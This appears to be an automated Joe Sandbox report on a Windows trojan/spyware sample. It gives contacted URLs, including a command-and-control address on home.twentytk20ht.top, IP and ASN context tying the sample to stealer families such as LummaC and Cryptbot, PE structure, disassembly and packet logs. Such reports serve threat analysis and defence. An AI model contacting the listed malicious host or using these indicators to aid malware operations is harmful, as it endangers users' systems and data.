                http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850?argument=u57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000003.2642240904.0000000001A31000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2644842033.0000000001A32000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641805041.0000000001A15000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641842624.0000000001A21000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2641368000.0000000001A13000.00000004.00000020.00020000.00000000.sdmpfalse
                  		unknown
                  https://httpbin.org/ipbeforeu57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                    		high
                    https://curl.se/docs/http-cookies.htmlu57m8aCdwb.exe, u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                      		high
                      https://curl.se/docs/hsts.html#u57m8aCdwb.exefalse
                        		high
                        http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850http://home.twentytk20ht.top/TQIuuaqjNpwYu57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                          		unknown
                          http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850::3u57m8aCdwb.exe, 00000000.00000002.2644502123.00000000019B9000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642615492.00000000019B7000.00000004.00000020.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000003.2642594319.00000000019B2000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            https://curl.se/docs/alt-svc.htmlu57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                              		high
                              http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFoj850u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                                		unknown
                                http://.cssu57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                                  		high
                                  http://.jpgu57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpfalse
                                    		high

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    185.121.15.192
                                    		home.twentytk20ht.topSpain
                                    		207046REDSERVICIOESfalse
                                    98.85.100.80
                                    		httpbin.orgUnited States
                                    		11351TWC-11351-NORTHEASTUSfalse

                                    General Information

                                    Joe Sandbox version:41.0.0 Charoite
                                    Analysis ID:1578886
                                    Start date and time:2024-12-20 16:11:53 +01:00
                                    Joe Sandbox product:CloudBasic
                                    Overall analysis duration:0h 6m 6s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                    Number of analysed new started processes analysed:4
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample name:u57m8aCdwb.exe
                                    renamed because original name is a hash value
                                    Original Sample Name:0e6e12f9a9c017b4be17933aeacd543c.exe
                                    Detection:MAL
                                    Classification:mal100.troj.spyw.evad.winEXE@1/0@8/2
                                    EGA Information:
                                    • Successful, ratio: 100%
                                    HCA Information:Failed
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe

                                    Warnings

                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                    • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.190.147.2, 52.149.20.212
                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, login.live.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                    • VT rate limit hit for: u57m8aCdwb.exe

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    10:13:29API Interceptor80x Sleep call for process: u57m8aCdwb.exe modified

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    185.121.15.192TnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                    • home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
                                    file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                    • home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=TmUWwkAQBKXXTWTE1734696758
                                    98.85.100.80TnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                          file.exeGet hashmaliciousScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, VidarBrowse
                                            Tii6ue74NB.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, VidarBrowse
                                              file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYSBrowse
                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, XmrigBrowse
                                                  SwJD3kiOwV.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                    8dw8GAvqmM.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                      9nYVfFos77.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse

                                                        Domains

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        httpbin.orgTnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                        • 98.85.100.80
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                                        • 34.226.108.155
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                                        • 98.85.100.80
                                                        file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC StealerBrowse
                                                        • 34.226.108.155
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                        • 98.85.100.80
                                                        file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC StealerBrowse
                                                        • 34.226.108.155
                                                        file.exeGet hashmaliciousNetSupport RAT, LummaC, Amadey, LummaC StealerBrowse
                                                        • 34.226.108.155
                                                        file.exeGet hashmaliciousScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, VidarBrowse
                                                        • 98.85.100.80
                                                        Tii6ue74NB.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, VidarBrowse
                                                        • 98.85.100.80
                                                        file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYSBrowse
                                                        • 98.85.100.80
                                                        home.twentytk20ht.topTnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                        • 185.121.15.192

                                                        ASNs

                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                        TWC-11351-NORTHEASTUSTnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                        • 98.85.100.80
                                                        arm5.elfGet hashmaliciousMiraiBrowse
                                                        • 72.226.210.219
                                                        hmips.elfGet hashmaliciousMiraiBrowse
                                                        • 45.46.119.24
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                                        • 98.85.100.80
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                        • 98.85.100.80
                                                        la.bot.powerpc.elfGet hashmaliciousMiraiBrowse
                                                        • 67.252.15.48
                                                        la.bot.sparc.elfGet hashmaliciousMiraiBrowse
                                                        • 98.94.131.188
                                                        file.exeGet hashmaliciousScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, VidarBrowse
                                                        • 98.85.100.80
                                                        arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                        • 50.75.56.140
                                                        Tii6ue74NB.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, VidarBrowse
                                                        • 98.85.100.80
                                                        REDSERVICIOESTnIhoWAr57.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                        • 185.121.15.192
                                                        file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRATBrowse
                                                        • 185.121.15.192
                                                        http://blacksaltys.comGet hashmaliciousUnknownBrowse
                                                        • 185.121.15.137
                                                        IGz.arm7.elfGet hashmaliciousMiraiBrowse
                                                        • 185.189.98.142
                                                        https://agradeahead.com/Get hashmaliciousUnknownBrowse
                                                        • 185.121.15.137
                                                        http://productfocus.comGet hashmaliciousUnknownBrowse
                                                        • 185.121.15.137
                                                        https://objmapper.com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2eGet hashmaliciousUnknownBrowse
                                                        • 185.121.15.137
                                                        hax.mips.elfGet hashmaliciousMiraiBrowse
                                                        • 185.226.106.144
                                                        la.bot.mipsel.elfGet hashmaliciousMiraiBrowse
                                                        • 178.19.44.184
                                                        sora.arm.elfGet hashmaliciousMiraiBrowse
                                                        • 185.226.106.195

                                                        JA3 Fingerprints

                                                        ⊘No context

                                                        Dropped Files

                                                        ⊘No context

                                                        Created / dropped Files

                                                        ⊘No created / dropped files found

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                        Entropy (8bit):7.985807815674753
                                                        TrID:
                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                        • DOS Executable Generic (2002/1) 0.02%
                                                        • VXD Driver (31/22) 0.00%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:u57m8aCdwb.exe
                                                        File size:4'455'936 bytes
                                                        MD5:0e6e12f9a9c017b4be17933aeacd543c
                                                        SHA1:4c8fda6bdcbb813081a6d72bd6ad3ff430e17bee
                                                        SHA256:738cdc197a8ece363679b55f005dccd3a943e4b333d69e946f80ff6c0445cd87
                                                        SHA512:4050a406f72c3842fb207b40c77a153f96b863029e191cddae1ab1f59b3ba6a8f49a5de46e0a7159382fc101e1199a5c14d54f8eff29d55a246dfba4a232cf91
                                                        SSDEEP:98304:o1Vz3hTT2pGpLHik0P3eV5e8aotVVYcU5uk9cZqUcjZJHsZ4275:eVz312peiZ+VaEzpUP9CsZJHsZt
                                                        TLSH:C226331FEDCF06BDE863A2BB441BCB04F29A6A57348E9C9A16801494CC055D7EC64FED
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@..........................@........D...@... ............................

                                                        File Icon

                                                        Icon Hash:00928e8e8686b000

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x1071000
                                                        Entrypoint Section:.taggant
                                                        Digitally signed:false
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                                        DLL Characteristics:DYNAMIC_BASE
                                                        Time Stamp:0x67639807 [Thu Dec 19 03:50:31 2024 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:4
                                                        OS Version Minor:0
                                                        File Version Major:4
                                                        File Version Minor:0
                                                        Subsystem Version Major:4
                                                        Subsystem Version Minor:0
                                                        Import Hash:2eabe9054cad5152567f0699947a2c5b

                                                        Entrypoint Preview

                                                        Instruction
                                                        jmp 00007FF114F6017Ah
                                                        paddusb mm0, qword ptr [ebx+00h]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        jmp 00007FF114F62175h
                                                        add byte ptr [ebx], cl
                                                        or al, byte ptr [eax]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], dh
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax+eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        or byte ptr [eax+00000000h], al
                                                        add byte ptr [eax], al
                                                        adc byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        or ecx, dword ptr [edx]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        adc byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        push es
                                                        or al, byte ptr [eax]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [ecx], al
                                                        add byte ptr [eax], 00000000h
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        adc byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        or ecx, dword ptr [edx]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        xor byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        and al, byte ptr [eax]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        or dword ptr [eax+00000000h], eax
                                                        add byte ptr [eax], al
                                                        adc byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        or ecx, dword ptr [edx]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        adc byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add al, 0Ah
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        pop es
                                                        add byte ptr [eax], 00000000h
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x72b05f0x73.idata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x72a0000x2b0.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xc6fad00x10krimtaup
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0xc6fa800x18krimtaup
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        0x10000x7290000x283400e1f3a13451a251a26186c3ba537b1732unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .rsrc0x72a0000x2b00x200b9d374ad26796be29c8f5decbb045382False0.798828125data6.0112624729266155IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .idata 0x72b0000x10000x200d6de82d14e357527731a70b0d9d5c0e8False0.166015625data1.1589685166080708IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        0x72c0000x38b0000x200966b6ebc73be61fcb306c27a3c75e8efunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        krimtaup0xab70000x1b90000x1b8e006fa012a190373abb4cd3976b21840c3fFalse0.9942812810107741data7.9553189741670245IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        xiywmuay0xc700000x10000x4000a1c2cf86111f679e38a50548753fb27False0.814453125data6.39340330086352IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .taggant0xc710000x30000x2200a8b32a6ef19c58fe34574abab55f5b90False0.08697150735294118DOS executable (COM)1.0428723190070666IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_MANIFEST0xc6fae00x256ASCII text, with CRLF line terminators0.5100334448160535

                                                        Imports

                                                        DLLImport
                                                        kernel32.dlllstrcpy

                                                        Network Behavior

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 20, 2024 16:13:04.119194984 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:04.119250059 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:04.119326115 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:04.137092113 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:04.137113094 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.905143976 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.906086922 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:05.906102896 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.907619953 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.908144951 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:05.909184933 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:05.909255028 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.920196056 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:05.920205116 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:05.972187042 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:06.243484974 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:06.243701935 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:06.243787050 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:06.252329111 CET49714443192.168.2.598.85.100.80
                                                        Dec 20, 2024 16:13:06.252355099 CET4434971498.85.100.80192.168.2.5
                                                        Dec 20, 2024 16:13:07.313868999 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.433609962 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.433741093 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.465867996 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.586090088 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586107016 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586246967 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586265087 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586278915 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586323977 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.586389065 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.586396933 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586416960 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586430073 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586441994 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.586443901 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586486101 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.586551905 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.586607933 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.706099987 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706136942 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706168890 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706224918 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.706267118 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.706289053 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706304073 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706336021 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.706350088 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.706382036 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.706423044 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.752947092 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.753067970 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.868722916 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:07.868815899 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:07.920917034 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.036760092 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.036823034 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.236596107 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.236671925 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.432096958 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.432297945 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.432396889 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552088022 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552122116 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552135944 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552148104 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552162886 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552165031 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552216053 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552251101 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552285910 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552298069 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552336931 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552476883 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552490950 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.552521944 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.552546024 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.554976940 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.555083036 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.555412054 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.671932936 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.671957016 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.671976089 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.671992064 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.672004938 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.672040939 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.672127962 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.672159910 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.672204018 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.672344923 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.672430992 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.672451973 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.672523022 CET4972080192.168.2.5185.121.15.192
                                                        Dec 20, 2024 16:13:08.673494101 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.674750090 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.674782038 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.674881935 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.674907923 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675054073 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675088882 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675195932 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675220966 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675302029 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675323963 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675339937 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675457001 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675471067 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675484896 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675497055 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675538063 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675549984 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675561905 CET8049720185.121.15.192192.168.2.5
                                                        Dec 20, 2024 16:13:08.675576925 CET8049720185.121.15.192192.168.2.5
